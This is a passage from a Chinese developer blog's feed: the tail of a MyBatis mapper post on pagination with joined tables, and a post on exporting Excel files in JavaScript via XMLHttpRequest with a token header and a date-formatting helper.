class="string">&quot;id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;organizationCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;organization_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;shortName&quot;</span> <span class="attr">column</span>=<span class="string">&quot;short_name&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;address&quot;</span> <span class="attr">column</span>=<span class="string">&quot;address&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;socialCreditCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;social_credit_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;legalRepresentative&quot;</span> <span class="attr">column</span>=<span class="string">&quot;legal_representative&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;statutoryContact&quot;</span> <span class="attr">column</span>=<span class="string">&quot;statutory_contact&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;mainBusinessincome&quot;</span> <span class="attr">column</span>=<span class="string">&quot;main_businessincome&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;industryCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;industry_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;mainRawMaterials&quot;</span> <span class="attr">column</span>=<span class="string">&quot;main_raw_materials&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;mainProduct&quot;</span> <span class="attr">column</span>=<span class="string">&quot;main_product&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;hazardLevel&quot;</span> <span class="attr">column</span>=<span class="string">&quot;hazard_level&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;enRiskLevel&quot;</span> <span class="attr">column</span>=<span class="string">&quot;en_risk_level&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;latitude&quot;</span> <span class="attr">column</span>=<span class="string">&quot;latitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;longitude&quot;</span> <span class="attr">column</span>=<span class="string">&quot;longitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;produceStatus&quot;</span> <span class="attr">column</span>=<span class="string">&quot;produce_status&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;unifiedCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;unified_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;delFlg&quot;</span> <span class="attr">column</span>=<span class="string">&quot;del_flg&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;createId&quot;</span> <span class="attr">column</span>=<span class="string">&quot;create_id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;createTime&quot;</span> <span class="attr">column</span>=<span class="string">&quot;create_time&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;updateId&quot;</span> <span class="attr">column</span>=<span class="string">&quot;update_id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;updateTime&quot;</span> <span class="attr">column</span>=<span class="string">&quot;update_time&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;introducce&quot;</span> <span class="attr">column</span>=<span class="string">&quot;introducce&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;sort&quot;</span> <span class="attr">column</span>=<span class="string">&quot;sort&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;unit_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;unitCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;height&quot;</span> <span class="attr">property</span>=<span class="string">&quot;height&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;park_unit_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;parkUnitName&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;area&quot;</span> <span class="attr">property</span>=<span class="string">&quot;area&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">id</span>=<span class="string">&quot;unitInfoMap&quot;</span> <span class="attr">type</span>=<span class="string">&quot;com.lyc.common.vo.DbUnitVo&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span> <span class="attr">column</span>=<span class="string">&quot;id&quot;</span> <span class="attr">property</span>=<span class="string">&quot;id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;organization_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;organizationCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;short_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;shortName&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;address&quot;</span> <span class="attr">property</span>=<span class="string">&quot;address&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;social_credit_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;socialCreditCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;legal_representative&quot;</span> <span class="attr">property</span>=<span class="string">&quot;legalRepresentative&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;statutory_contact&quot;</span> <span class="attr">property</span>=<span class="string">&quot;statutoryContact&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;main_businessincome&quot;</span> <span class="attr">property</span>=<span class="string">&quot;mainBusinessincome&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;industry_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;industryCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;main_raw_materials&quot;</span> <span class="attr">property</span>=<span class="string">&quot;mainRawMaterials&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;main_product&quot;</span> <span class="attr">property</span>=<span class="string">&quot;mainProduct&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;hazard_level&quot;</span> <span class="attr">property</span>=<span class="string">&quot;hazardLevel&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;en_risk_level&quot;</span> <span class="attr">property</span>=<span class="string">&quot;enRiskLevel&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;latitude&quot;</span> <span class="attr">property</span>=<span class="string">&quot;latitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;longitude&quot;</span> <span class="attr">property</span>=<span class="string">&quot;longitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;produce_status&quot;</span> <span class="attr">property</span>=<span class="string">&quot;produceStatus&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;unified_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;unifiedCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;introducce&quot;</span> <span class="attr">property</span>=<span class="string">&quot;introducce&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;sort&quot;</span> <span class="attr">property</span>=<span class="string">&quot;sort&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;unit_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;unitCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;height&quot;</span> <span class="attr">property</span>=<span class="string">&quot;height&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;park_unit_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;parkUnitName&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;area&quot;</span> <span class="attr">property</span>=<span class="string">&quot;area&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">collection</span> <span class="attr">property</span>=<span class="string">&quot;files&quot;</span> <span class="attr">column</span>=<span class="string">&quot;unified_code&quot;</span> <span class="attr">select</span>=<span class="string">&quot;selectFilesInfo&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">sql</span> <span class="attr">id</span>=<span class="string">&quot;baseColumn&quot;</span>&gt;</span></span><br><span class="line">        du.id,</span><br><span class="line">        du.organization_code,</span><br><span class="line">        du.short_name,</span><br><span class="line">        du.address,</span><br><span class="line">        du.social_credit_code,</span><br><span class="line">        du.legal_representative,</span><br><span class="line">        du.statutory_contact,</span><br><span class="line">        du.main_businessincome,</span><br><span class="line">        du.industry_code,</span><br><span class="line">        du.main_raw_materials,</span><br><span class="line">        du.main_product,</span><br><span class="line">        du.hazard_level,</span><br><span class="line">        du.en_risk_level,</span><br><span class="line">        du.latitude,</span><br><span class="line">        du.longitude,</span><br><span class="line">        du.produce_status,</span><br><span class="line">        du.unified_code,</span><br><span class="line">        du.del_flg,</span><br><span class="line">        du.create_id,</span><br><span class="line">        du.create_time,</span><br><span class="line">        du.update_id,</span><br><span class="line">        du.update_time,</span><br><span class="line">        du.introducce,</span><br><span class="line">        du.sort,</span><br><span class="line">        du.unit_code,</span><br><span class="line">        du.height,</span><br><span class="line">        du.park_unit_name,</span><br><span class="line">        du.area</span><br><span class="line">    <span class="tag">&lt;/<span class="name">sql</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;unitInfoVoPage&quot;</span> <span class="attr">resultMap</span>=<span class="string">&quot;unitInfoMap&quot;</span>&gt;</span></span><br><span class="line">        select</span><br><span class="line">        <span class="tag">&lt;<span class="name">include</span> <span class="attr">refid</span>=<span class="string">&quot;baseColumn&quot;</span>/&gt;</span></span><br><span class="line">            from db_unit_info du</span><br><span class="line">        <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">            AND du.del_flg = 0</span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.shortName != null and dbUnitInfoEntity.shortName != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.short_name LIKE CONCAT(&#x27;%&#x27;, #&#123;dbUnitInfoEntity.shortName&#125;, &#x27;%&#x27;)</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.parkUnitName != null and dbUnitInfoEntity.parkUnitName != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.park_unit_name LIKE CONCAT(&#x27;%&#x27;, #&#123;dbUnitInfoEntity.parkUnitName&#125;, &#x27;%&#x27;)</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.hazardLevel != null and dbUnitInfoEntity.hazardLevel != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.hazard_level = #&#123;dbUnitInfoEntity.hazardLevel&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.produceStatus != null and dbUnitInfoEntity.produceStatus != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.produce_status = #&#123;dbUnitInfoEntity.produceStatus&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.industryCode != null and dbUnitInfoEntity.industryCode != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.industry_code = #&#123;dbUnitInfoEntity.industryCode&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.unitCode != null and dbUnitInfoEntity.unitCode != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.unit_code = #&#123;dbUnitInfoEntity.unitCode&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">        order by du.unit_code</span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectFilesInfo&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.lyc.common.vo.FileVo&quot;</span>&gt;</span></span><br><span class="line">        select sf.id                                          as file_id,</span><br><span class="line">               sf.bucket_name,</span><br><span class="line">               sf.file_name,</span><br><span class="line">               sf.original                                    as name,</span><br><span class="line">               concat(&#x27;/&#x27;, sf.bucket_name, &#x27;/&#x27;, sf.file_name) as url</span><br><span class="line">        from sys_file sf</span><br><span class="line">        <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">            AND sf.del_flg = 0</span><br><span class="line">                AND sf.unique_code = #&#123;unifiedCode&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">mapper</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">mybatis 分页查询，关联其他表过程中导致部分页数据不够每页条数的情况</summary>
    
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="mybatis" scheme="https://blog.allbs.cn/tags/mybatis/"/>
    
    <category term="mysql" scheme="https://blog.allbs.cn/tags/mysql/"/>
    
    <category term="分页" scheme="https://blog.allbs.cn/tags/%E5%88%86%E9%A1%B5/"/>
    
  </entry>
  
  <entry>
    <title>js文件导出</title>
    <link href="https://blog.allbs.cn/posts/54909/"/>
    <id>https://blog.allbs.cn/posts/54909/</id>
    <published>2022-08-02T07:01:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h2 id="修改前">修改前</h2><blockquote><p>通过提交表单获取文件</p></blockquote><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(form)</span><br><span class="line">form.<span class="property">method</span> = <span class="string">&#x27;POST&#x27;</span></span><br><span class="line">form.<span class="property">action</span> = baseURL + <span class="string">&#x27;export/toClAccessRecordDetailExport?carLicense=&#x27;</span> + vm.<span class="property">carLicense</span> +</span><br><span class="line">    <span class="string">&quot;&amp;beginTime=&quot;</span> + sTime +</span><br><span class="line">    <span class="string">&quot;&amp;endTime=&quot;</span> + eTime + <span class="string">&quot;&amp;assessType=&quot;</span> + vm.<span class="property">select</span>.<span class="property">assessType</span> + <span class="string">&quot;&amp;carType=&quot;</span> + vm.<span class="property">select</span></span><br><span class="line">    .<span class="property">carType</span> + <span class="string">&quot;&amp;unitId=&quot;</span> + exportUnitId + <span class="string">&quot;&amp;materialName=&quot;</span> + vm.<span class="property">select</span>.<span class="property">materialName</span> + </span><br><span class="line">    <span class="string">&quot;&amp;bayonetId=&quot;</span> + vm.<span class="property">select</span>.<span class="property">bayonetId</span> + <span class="string">&quot;&amp;applyType=&quot;</span> + vm.<span class="property">select</span>.<span class="property">applyType</span> + <span class="string">&quot;&amp;contact=&quot;</span> + vm.<span class="property">select</span>.<span class="property">contact</span></span><br><span class="line">    + <span class="string">&quot;&amp;contactNumber=&quot;</span> + vm.<span class="property">select</span>.<span class="property">contactNumber</span> + <span class="string">&quot;&amp;idCard=&quot;</span> + vm.<span class="property">select</span>.<span class="property">idCard</span>;</span><br><span class="line">form.<span class="title function_">submit</span>()</span><br></pre></td></tr></table></figure><h3 id="修改原因">修改原因</h3><blockquote><p>form提交无法自定义header导致无法校验传输token，接口无权限会被整改</p></blockquote><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/94818c1454eed97b7bef7b832f5c9de3.png" alt="image-20220802151010866"></p><h3 id="修改后">修改后</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> url = baseURL + <span class="string">&#x27;export/toClAccessRecordExport?carLicense=&#x27;</span> + vm.<span class="property">carLicense</span> +</span><br><span class="line">                <span class="string">&quot;&amp;beginTime=&quot;</span> + sTime +</span><br><span class="line">                <span class="string">&quot;&amp;endTime=&quot;</span> + eTime + <span class="string">&quot;&amp;assessType=&quot;</span> + vm.<span class="property">select</span>.<span class="property">assessType</span> + <span class="string">&quot;&amp;carType=&quot;</span> + vm.<span class="property">select</span></span><br><span class="line">                    .<span class="property">carType</span> + <span class="string">&quot;&amp;unitId=&quot;</span> + exportUnitId + <span class="string">&quot;&amp;bayonetId=&quot;</span> + vm.<span class="property">select</span>.<span class="property">bayonetId</span> + <span class="string">&quot;&amp;contact=&quot;</span> + vm.<span class="property">select</span>.<span class="property">contact</span></span><br><span class="line">                + <span class="string">&quot;&amp;contactNumber=&quot;</span> + vm.<span class="property">select</span>.<span class="property">contactNumber</span> + <span class="string">&quot;&amp;idCard=&quot;</span> + vm.<span class="property">select</span>.<span class="property">idCard</span> + <span class="string">&quot;&amp;applyType=&quot;</span> + vm.<span class="property">select</span>.<span class="property">applyType</span>;</span><br><span class="line"><span class="keyword">const</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line"><span class="comment">// 根据接口设定提交方式</span></span><br><span class="line">xhr.<span class="title function_">open</span>(<span class="string">&#x27;POST&#x27;</span>, url, <span class="literal">true</span>);</span><br><span class="line"><span class="comment">// 设置token</span></span><br><span class="line">xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&#x27;token&#x27;</span>, <span class="string">&#x27;xxxxxxxx&#x27;</span>);</span><br><span class="line">xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&#x27;Content-Type&#x27;</span>, <span class="string">&#x27;application/octet-stream&#x27;</span>);</span><br><span class="line"><span class="comment">// 返回类型blob</span></span><br><span class="line">xhr.<span class="property">responseType</span> = <span class="string">&#x27;blob&#x27;</span>;</span><br><span class="line">xhr.<span class="property">onload</span> = <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">status</span> === <span class="number">200</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> blob = <span class="variable language_">this</span>.<span class="property">response</span>;</span><br><span class="line">        <span class="keyword">const</span> reader = <span class="keyword">new</span> <span class="title class_">FileReader</span>();</span><br><span class="line">        reader.<span class="title function_">readAsDataURL</span>(blob); <span class="comment">// 转换为base64，可以直接放入a表情href</span></span><br><span class="line">        reader.<span class="property">onload</span> = <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span><br><span class="line">            <span class="keyword">const</span> a = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;a&#x27;</span>);</span><br><span class="line">            <span class="comment">// 以当前时间作为文件名称</span></span><br><span class="line">            a.<span class="property">download</span> = <span class="title function_">parseTime</span>(<span class="keyword">new</span> <span class="title class_">Date</span>(), <span class="string">&#x27;&#123;y&#125;&#123;m&#125;&#123;d&#125;&#123;h&#125;&#123;i&#125;&#123;s&#125;&#x27;</span>) + <span class="string">&#x27;.xls&#x27;</span>;</span><br><span class="line">            a.<span class="property">href</span> = e.<span class="property">target</span>.<span class="property">result</span>;</span><br><span class="line">            <span class="variable language_">document</span>.<span class="property">documentElement</span>.<span class="title function_">appendChild</span>(a);</span><br><span class="line">            a.<span class="title function_">click</span>();</span><br><span class="line">            <span class="comment">// 等价于document.documentElement.removeChild(a);</span></span><br><span class="line">            a.<span class="title function_">remove</span>(); </span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">// 发送ajax请求</span></span><br><span class="line">xhr.<span class="title function_">send</span>();</span><br></pre></td></tr></table></figure><h3 id="时间格式化的方法">时间格式化的方法</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">parseTime</span>(<span class="params">time, pattern</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable language_">arguments</span>.<span class="property">length</span> === <span class="number">0</span> || !time) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">null</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> format = pattern || <span class="string">&#x27;&#123;y&#125;-&#123;m&#125;-&#123;d&#125; &#123;h&#125;:&#123;i&#125;:&#123;s&#125;&#x27;</span></span><br><span class="line"><span class="keyword">let</span> date</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">typeof</span> time === <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">date = time</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">if</span> ((<span class="keyword">typeof</span> time === <span class="string">&#x27;string&#x27;</span>) &amp;&amp; (<span class="regexp">/^[0-9]+$/</span>.<span class="title function_">test</span>(time))) &#123;</span><br><span class="line">time = <span class="built_in">parseInt</span>(time)</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> time === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">time = time.<span class="title function_">replace</span>(<span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="regexp">/-/gm</span>), <span class="string">&#x27;/&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ((<span class="keyword">typeof</span> time === <span class="string">&#x27;number&#x27;</span>) &amp;&amp; (time.<span class="title function_">toString</span>().<span class="property">length</span> === <span class="number">10</span>)) &#123;</span><br><span class="line">time = time * <span class="number">1000</span></span><br><span class="line">&#125;</span><br><span class="line">date = <span class="keyword">new</span> <span class="title class_">Date</span>(time)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> formatObj = &#123;</span><br><span class="line"><span class="attr">y</span>: date.<span class="title function_">getFullYear</span>(),</span><br><span class="line"><span class="attr">m</span>: date.<span class="title function_">getMonth</span>() + <span class="number">1</span>,</span><br><span class="line"><span class="attr">d</span>: date.<span class="title function_">getDate</span>(),</span><br><span class="line"><span class="attr">h</span>: date.<span class="title function_">getHours</span>(),</span><br><span class="line"><span class="attr">i</span>: date.<span class="title function_">getMinutes</span>(),</span><br><span class="line"><span class="attr">s</span>: date.<span class="title function_">getSeconds</span>(),</span><br><span class="line"><span class="attr">a</span>: date.<span class="title function_">getDay</span>()</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> time_str = format.<span class="title function_">replace</span>(<span class="regexp">/&#123;(y|m|d|h|i|s|a)+&#125;/g</span>, <span class="function">(<span class="params">result, key</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="keyword">let</span> value = formatObj[key]</span><br><span class="line"><span class="comment">// Note: getDay() returns 0 on Sunday</span></span><br><span class="line"><span class="keyword">if</span> (key === <span class="string">&#x27;a&#x27;</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> [<span class="string">&#x27;日&#x27;</span>, <span class="string">&#x27;一&#x27;</span>, <span class="string">&#x27;二&#x27;</span>, <span class="string">&#x27;三&#x27;</span>, <span class="string">&#x27;四&#x27;</span>, <span class="string">&#x27;五&#x27;</span>, <span class="string">&#x27;六&#x27;</span>][value]</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (result.<span class="property">length</span> &gt; <span class="number">0</span> &amp;&amp; value &lt; <span class="number">10</span>) &#123;</span><br><span class="line">value = <span class="string">&#x27;0&#x27;</span> + value</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> value || <span class="number">0</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">return</span> time_str</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="效果展示">效果展示</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/f2b1e49ee74143073be96abe5f5f482c.gif" alt=""></p>]]></content>
    
    
    <summary type="html">后端返回ModelAndView文件，前端js中导出根据返回导出文件</summary>
    
    
    
    <category term="前端" scheme="https://blog.allbs.cn/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="js" scheme="https://blog.allbs.cn/tags/js/"/>
    
